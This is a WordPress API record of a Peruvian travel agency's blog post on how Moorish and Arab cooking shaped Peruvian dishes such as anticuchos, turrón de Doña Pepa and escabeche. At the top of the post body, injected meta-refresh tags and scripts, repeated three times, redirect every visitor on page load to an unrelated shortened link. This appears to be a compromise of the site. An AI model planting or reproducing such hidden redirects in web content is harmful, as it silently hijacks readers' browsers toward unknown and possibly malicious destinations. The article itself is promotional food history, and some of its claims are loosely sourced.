{"id":15200,"date":"2025-09-18T09:55:12","date_gmt":"2025-09-18T14:55:12","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=15200"},"modified":"2025-09-29T11:06:29","modified_gmt":"2025-09-29T16:06:29","slug":"arabic-influence-on-peruvian-food-traditions","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/arabic-influence-on-peruvian-food-traditions\/","title":{"rendered":"Arabic Influence on Peruvian Food Traditions"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Picture a bustling market in the ancient Al-Andalus (today\u2019s Spain), fragrant with cinnamon and cumin, now imagine those same spices sizzling in a Peruvian kitchen high in the Andes.<\/p>\n\n\n\n<p>&nbsp;Far-fetched? Not at all!<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/\"><strong> Peruvian cuisine<\/strong><\/a>, a global darling for its bold flavors and colorful plates, owes a surprising debt to Arabian food.<\/p>\n\n\n\n<p>&nbsp;This vibrant culinary tapestry weaves native Peruvian ingredients like aji peppers and purple corn with influences from Spain, Africa, Asia, and, yes, the Arabian Peninsula.&nbsp;<\/p>\n\n\n\n<p>However, how did desert-born flavors travel to the rugged peaks of Peru? What dishes and techniques prove this connection?&nbsp;<\/p>\n\n\n\n<p>Let\u2019s embark on a tasty journey through history, examples, and culinary tricks to uncover the Arabian imprint on Peruvian cuisine, with questions to stir your curiosity.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Historical Highway: Moors, Spain, and Peru<\/strong><\/h2>\n\n\n\n<p>Our story begins in medieval Spain, under Muslim rule from 711 to 1492 CE. Known as Al-Andalus, this era saw Arab and North African (Moorish) cultures transform Spanish cuisine with dried fruits, citrus, cinnamon, cloves, sugar cane, and techniques like slow-cooking stews and skewering meats.<\/p>\n\n\n\n<p>&nbsp;Later, during the Inca Empire, when the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquered<\/strong><\/a> South America and Peru in 1532, they didn\u2019t just bring swords and ships\u2014they carried this Moorish-flavored cuisine, along with cooks, including Moorish women known as \u201cwhite slaves,\u201d who worked in colonial kitchens.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"398\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/quienes-eran-los-moros-en-la-historia-medieval-espanola-1024x585-1.png?resize=697%2C398&#038;ssl=1\" alt=\"\" class=\"wp-image-15205\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/quienes-eran-los-moros-en-la-historia-medieval-espanola-1024x585-1.png?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/quienes-eran-los-moros-en-la-historia-medieval-espanola-1024x585-1.png?resize=300%2C171&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/quienes-eran-los-moros-en-la-historia-medieval-espanola-1024x585-1.png?resize=768%2C439&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Think about it: what happens when conquerors bring their kitchens across oceans? In Peru, these Arab-influenced recipes met a biodiversity bonanza\u201490 microclimates and thousands of native plants.&nbsp;<\/p>\n\n\n\n<p>Moorish spices blended with local aji and quinoa, creating a Creole cuisine that\u2019s uniquely Peruvian yet faintly echoes the Middle East. How did this fusion take shape? Let\u2019s taste the evidence through dishes and techniques.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Dishes That Tell the Story<\/h2>\n\n\n\n<p>Peruvian plates are a love letter to global influences, and several dishes carry Arabian DNA, often via Spanish-Moorish roots. Here are four examples that showcase this connection.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Anticuchos: Skewers with a Shish Kebab Soul<\/strong><\/h3>\n\n\n\n<p>Stroll through Lima streets, and the smoky aroma of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-anticucho-the-beloved-street-food\/\"><strong>anticuchos\u2014grilled beef heart skewers <\/strong><\/a>marinated in aji, cumin, and vinegar\u2014will stop you in your tracks.&nbsp;<\/p>\n\n\n\n<p>These street-food stars are cousins to Arabian shish kebabs, where spiced meats are skewered and grilled. Historians trace anticuchos to Moorish pinchos morunos (Moorish skewers), brought to Latin America (Peru) by the Spanish.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"408\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=697%2C408&#038;ssl=1\" alt=\"anticucho dish\" class=\"wp-image-13196\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=768%2C450&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>African slaves adapted the dish, using offal like beef heart and adding local peppers for kick, but the cumin-vinegar marinade screams Arab heritage. Colonial menus from the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-viceroyalty-of-peru-and-its-living-legacy\/\" title=\"\">Viceroyalty<\/a><\/strong> (1532\u20131821) listed similar skewers, cementing the link. <\/p>\n\n\n\n<p>Why do you think a simple skewer could travel from ancient Persia to a Peruvian street? What does this shared technique reveal about food\u2019s power to cross cultures?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Turr\u00f3n de Do\u00f1a Pepa: A Sweet Moorish Gem<\/strong><\/h3>\n\n\n\n<p>Every October, Peruvians celebrate the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lord-of-the-miracles-everything-you-need-to-know\/\"><strong>Lord of the Miracles<\/strong><\/a> festival with turr\u00f3n de Do\u00f1a Pepa, a layered dessert of egg dough, sesame, aniseed, and a honeyed filling spiced with cinnamon, cloves, and fig leaves.&nbsp;<\/p>\n\n\n\n<p>Its roots? Moorish alaj\u00fa, a nut-honey-spice confection that shaped Spanish turrones. In the 18th century, Josefa \u201cDo\u00f1a Pepa\u201d Marmanillo, an Afro-Peruvian, crafted this treat to honor a miracle, blending African, indigenous, and Moorish flavors.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=697%2C465&#038;ssl=1\" alt=\"turron\" class=\"wp-image-10486\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/peruvian-turron-dona-pepa-2.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>In Arequipa, turr\u00f3n recipes mirror Spanish versions, reinforcing the Al-Andalus connection. How might a dessert for a Catholic festival carry Arabian spices? What does Do\u00f1a Pepa\u2019s story tell us about culinary creativity?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Escabeche and other Peruvian dishes<\/strong><\/h3>\n\n\n\n<p>The name \u201ciskeb\u00e9g\u201d transformed into \u201cescabetx\u201d and eventually became &#8220;escabeche&#8221;. In Peru, chefs creatively added &#8220;panca&#8221; pepper, green pepper, and sweet potato to the Spanish escabeche of that time.&nbsp;<\/p>\n\n\n\n<p>The dish&#8217;s origins spark interesting discussions, with both Roman and Arabic influences suggested. However, the term \u201cescabeche\u201d seems to have an Arabic background.&nbsp;<\/p>\n\n\n\n<p>Oscar Caballero&#8217;s book \u201cLa Dieta atl\u00e1ntica\u201d (2009) sheds light on this topic. He spoke with experts and found that the dish likely has Persian-Arabic roots.&nbsp;<\/p>\n\n\n\n<p>For example, the Spanish Academy of Language explains that <em>escabeche<\/em> comes from Arabic and Persian words. It refers to a sauce or marinade made with fried oil, wine or vinegar, bay leaves, and other ingredients.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"457\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2.jpg?resize=697%2C457&#038;ssl=1\" alt=\"\" class=\"wp-image-15206\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2-scaled.jpg?resize=1024%2C672&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2-scaled.jpg?resize=300%2C197&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2-scaled.jpg?resize=768%2C504&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2-scaled.jpg?resize=1536%2C1008&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2-scaled.jpg?resize=2048%2C1344&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8c0a509b3704c3b6519142601c74be26-2-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>This mixture helps to preserve fish and make various foods taste delicious. Caballero believes this definition misses an important point.&nbsp;<\/p>\n\n\n\n<p>He feels that <em>escabeche<\/em> is not just about the ingredients; it is a culinary tradition and a unique way of cooking. <\/p>\n\n\n\n<p>For example, recipes for seco <em>norte\u00f1o de cordero<\/em> from cities like<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiclayo-discover-why-it-won-the-new-popes-heart\/\"><strong> Chiclayo<\/strong><\/a> or Trujillo closely resemble those from al-Andalus, such as the white \u201ctafaya\u201d (seco <em>norte\u00f1o<\/em>) and green \u201ctafaya\u201d (seco <em>lime\u00f1o<\/em>).<\/p>\n\n\n\n<p>In an Arabic food recipes book, you can find recipes for these stews that are very similar to the original ones. One recipe stands out as nearly identical:&nbsp;<\/p>\n\n\n\n<p>It includes lamb meat, onions, vinegar, and chopped coriander. We decided to twist it by using fermented corn chicha instead of vinegar and adding loche squash and chili.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Techniques That Traveled<\/strong><\/h2>\n\n\n\n<p>Arabian cooking methods, carried by Moorish cooks, also shaped Peruvian cuisine. Here are two standouts.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Slow-Cooking: From Zarb to Pachamanca<\/strong><\/h3>\n\n\n\n<p>Arab cuisine loves slow-cooking in clay pots or underground pits, like the Jordanian zarb, where meats and vegetables bake with hot stones for smoky tenderness.<\/p>\n\n\n\n<p>&nbsp;In Peruvian culture, the<strong> <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pachamanca-the-ancient-andean-cooking-ritual\/\" title=\"\">indigenous pachamanca<\/a><\/strong>\u2014meats, potatoes, and corn cooked in an earthen oven\u2014predates the Spanish, but Moorish cooks likely enriched it with spices like cumin and introduced lamb, a Spanish import.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1-1.webp?resize=697%2C327&#038;ssl=1\" alt=\"\" class=\"wp-image-15207\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1-1.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1-1.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1-1.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1-1.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This fusion shines in dishes such as tacu tacu, or carapulcra, a slow-cooked pork and dried potatoes with African and Arabian notes.<\/p>\n\n\n\n<p>Why do you think slow-cooking resonates across cultures? How might a Moorish spice rack transform an ancient Andean technique?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Spicing and Marinating: The Flavor of Al-Andalus<\/strong><\/h3>\n\n\n\n<p>Arab cuisine\u2019s bold spicing\u2014cumin, cinnamon, cloves\u2014and marinating meats for depth left a mark on Peru. Anticuchos rely on cumin-vinegar marinades, while aj\u00ed de gallina, a creamy chicken stew, uses cumin for warmth.&nbsp;<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\"><strong>Peruvian desserts<\/strong><\/a> like mazamorra morada and arroz con leche lean on cinnamon and cloves, foreign to pre-Columbian Peru but central to Moorish recipes.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"564\" height=\"376\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8dfb3b19bcc5cfe1b7b24ce136a79bd9.webp?resize=564%2C376&#038;ssl=1\" alt=\"\" class=\"wp-image-15208\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8dfb3b19bcc5cfe1b7b24ce136a79bd9.webp?w=564&amp;ssl=1 564w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8dfb3b19bcc5cfe1b7b24ce136a79bd9.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/8dfb3b19bcc5cfe1b7b24ce136a79bd9.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 564px) 100vw, 564px\" \/><\/figure><\/div>\n\n\n<p>These techniques, brought via Spain, married local ingredients like aji, creating Creole magic. What makes spices the soul of a dish? How do you think a marinade connects a Peruvian stew to a Middle Eastern bazaar?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>The Cultural Cauldron<\/strong><\/h3>\n\n\n\n<p>The Arabian influence on <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/\"><strong>Peruvian food <\/strong><\/a>is a tale of migration and mestizaje (cultural mixing). During the Viceroyalty, Moorish and African cooks worked alongside indigenous Peruvians, blending traditions in colonial kitchens.&nbsp;<\/p>\n\n\n\n<p>Arabian native products, such as almonds and cinnamon, found their counterparts in Peruvian pecans, while citrus was paired with native fruits like <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-lucuma-the-incas-golden-treasure\/\" title=\"\">lucuma.<\/a><\/strong> This fusion, fueled by Peru\u2019s 20,000 plant species, created dishes that feel both local and global.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Gastronomia-1.webp?resize=697%2C327&#038;ssl=1\" alt=\"\" class=\"wp-image-15209\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Gastronomia-1.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Gastronomia-1.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Gastronomia-1.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/Gastronomia-1.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>By the 20th century, chefs like Gast\u00f3n Acurio celebrated this diversity, making Peruvian cuisine a global sensation.&nbsp;<\/p>\n\n\n\n<p>Yet, the Arabian thread\u2014subtle but persistent\u2014lives in the spices and techniques of Creole dishes. How does a cuisine become a cultural ambassador? What role do cooks play in preserving these hidden histories?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion: A Spicy Legacy<\/strong><\/h2>\n\n\n\n<p>From anticuchos\u2019 smoky skewers to arroz con leche\u2019s creamy comfort, Arabian cuisine has spiced up Peruvian food in ways both subtle and profound.&nbsp;<\/p>\n\n\n\n<p>Through Moorish cooks and Spanish ships, ingredients like cinnamon and techniques like slow-cooking found a new home in the Andes, blending with Peru\u2019s vibrant ingredients to create a culinary masterpiece.&nbsp;<\/p>\n\n\n\n<p>Depending on its influences, Peruvian food brings people together. We can say that this is its objective, and we, Peruvians, feel so proud about it.<\/p>\n\n\n\n<p>&nbsp;So, next time you savor a turr\u00f3n or grill an anticucho, ask: What other global tales are hiding in your plate? And how can we celebrate the journey of every bite?<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Finally, stay tuned to our blog to find the best advice about Peruvian food, Peruvian restaurants, and more! To have the best culinary adventure of your dreams, you can count on us, <strong>Viagens Machu Picchu.<\/strong><\/p>\n\n\n\n<p>Feel free to<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\"> contact us<\/a><\/strong> to get info about our best deals, promotions, and tailor-made tours. Peru is waiting, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arabian spices and cooking techniques traveled from Al-Andalus to colonial Peru, influencing iconic dishes like anticuchos, turr\u00f3n de Do\u00f1a Pepa, and escabeche. This fusion of Moorish, African, and Andean elements shaped Peru\u2019s rich Creole cuisine.<\/p>\n","protected":false},"author":1,"featured_media":15212,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[192,1850,3495],"tags":[4991,4993,5497,5500,5502,1509,1890,5498,1241,1504,4724,3071,2900,1465,5496,5499,1884,2053],"class_list":["post-15200","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-experiences","category-food","category-peruvian-flavors","tag-afro-peruvian-2","tag-aji-de-gallina-2","tag-bring-people","tag-dried-fruits","tag-dried-potatoes","tag-inca-empire","tag-latin-america","tag-native-products","tag-peruvian-cuisine","tag-peruvian-culture","tag-peruvian-dish","tag-peruvian-ingredients","tag-peruvian-restaurants","tag-south-america","tag-spanish-cuisine","tag-sugar-cane","tag-sweet-potatoes","tag-tacu-tacu"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-14-may-2025-15_59_01.png?fit=1536%2C1024&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3Xa","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=15200"}],"version-history":[{"count":3,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15200\/revisions"}],"predecessor-version":[{"id":18661,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15200\/revisions\/18661"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/15212"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=15200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=15200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=15200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}